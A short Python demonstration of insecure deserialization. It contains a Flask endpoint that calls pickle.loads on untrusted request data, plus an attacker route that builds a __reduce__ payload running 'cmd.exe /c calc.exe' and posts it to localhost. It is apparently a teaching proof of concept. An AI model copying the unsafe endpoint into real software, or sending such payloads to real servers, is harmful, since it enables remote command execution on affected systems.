Example of deserialization for command exec through pickle

cereal_web.py

import pickle
import base64
import requests
from flask import Flask, request

app = Flask(__name__)

## Start the server and go to 127.0.0.1:5000/exec ##


## API Endpoint ##
@app.route('/load_model', methods=['POST'])
def load_model():
    model_data = base64.urlsafe_b64decode(request.data)
    model = pickle.loads(model_data)
    
    if model:
        return "Success!"
      
## Attacker Stuff ##
@app.route('/exec')
def lazy_exec():
    # Create a class - represents a serialized model on disk.
    class MLModel():
        def __reduce__(self):
            import os
            execution = 'cmd.exe /c calc.exe'
            return (os.popen, (execution,))
    
    # Serialize it. 
    payload = base64.urlsafe_b64encode(pickle.dumps(MLModel()))
    
    # Ship it.
    requests.post('http://127.0.0.1:5000/load_model', data=payload)
    return '[+] Posted to load model'
    
app.run()